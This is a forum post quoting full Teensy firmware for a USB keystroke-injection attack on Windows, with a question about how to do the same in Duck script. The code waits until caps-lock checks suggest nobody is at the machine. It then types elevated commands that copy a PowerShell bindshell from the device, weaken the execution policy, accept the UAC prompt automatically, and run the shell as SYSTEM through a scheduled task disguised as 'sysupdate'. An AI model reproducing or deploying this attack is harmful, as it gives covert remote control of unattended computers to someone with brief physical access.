yman Posted February 10, 2012 Posted February 10, 2012 I found this teensy code on leg3nd's website. It basically turns on the caps lock and waits to see if anyone turns it off. Then, if no one turns it off in a given amount of time, it executes the payload. I was wondering if there is anything in the duck script that can do something similar? /* leg3nd's Windows powershell bindshell w/ system Based on PhukdLib by irongeek, powershell bindshell by Rel1k Detects user to implement attack based on capslock state -MUST BE SET TO KEYBOARD + DISK(INTERNAL) TO WORK */ #include "usb_private.h" #define send_enter() send_keys(KEY_ENTER, 0); #define send_caps() send_keys(KEY_CAPS_LOCK, 0); #define send_windows() send_keys(0, 128); #define send_alt_y() send_keys(KEY_Y, MODIFIERKEY_ALT); #define send_windows_r() send_keys(KEY_R, MODIFIERKEY_GUI); int attacked = 0; void setup(){ pinMode(11, OUTPUT); delay(5000); startDelay(30, 25); //startup blink } void loop(){ delay(9000); // Time between attack checks if (!IsCapsOn()){send_caps();} //Turn on caps lock for trap int userState = 0; for (int m=9; m>=0; m--) { //Number of caps lock checks before attack, default = 10 checks delay(3000); //Delay between caps lock check iterations if (IsCapsOn()){ delay(3000); //Delay after caps lock is found to be on } else { userState = userState + 1; } } if (userState>0){ delay(300000); //Time to wait if user is detected, 300K = 5min } else { AdminCmd("cmd /c for /F %i in ('WMIC logicaldisk where \"DriveType=2\" list brief ^| find \"Windows\"') do copy /Y %i\\bind.ps1 %APPDATA%\\bind.ps1 && powershell -Command Set-ExecutionPolicy RemoteSigned"); delay(200); AdminCmd("schtasks /create /tn sysupdate /i /tr \"powershell -File %APPDATA%\\bind.ps1 -WindowStyle Hidden\" /sc once /ru system /st 23:59:59"); delay(200); AdminCmd("schtasks /run /tn sysupdate"); delay(999999999); //Just chill, payload already executed (max 11.5 days) } } //Execute command as administrator void AdminCmd(char *SomeCommand) { send_windows(); delay(1500); //Delay for start menu to come up Keyboard.print(SomeCommand); Keyboard.set_modifier(MODIFIERKEY_CTRL); Keyboard.send_now(); Keyboard.set_modifier(MODIFIERKEY_CTRL | MODIFIERKEY_SHIFT); Keyboard.send_now(); send_enter(); delay(1000); //Delay for UAC prompt send_alt_y(); } //LED key checking for caps lock int ledkeys(void){ return int(keyboard_leds); } //Return the state of caps lock, regardless of other lights. boolean IsCapsOn(){ if (ledkeys() == 2 || ledkeys() == 3 || ledkeys() == 6 || ledkeys() == 7){ return true; } else { return false; } } //Key & Utility functions void startDelay(int count, int dlay){ //debug testing light for (int i=0; i<count; i++){ digitalWrite(11,HIGH); delay(dlay); digitalWrite(11,LOW); delay(100); } } void release_keys(){ Keyboard.set_key1(0); Keyboard.set_modifier(0); Keyboard.send_now(); delay(100); } void send_keys(int key, int modifier){ if(modifier) Keyboard.set_modifier(modifier); Keyboard.set_key1(key); Keyboard.send_now(); delay(100); release_keys(); } Quote
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.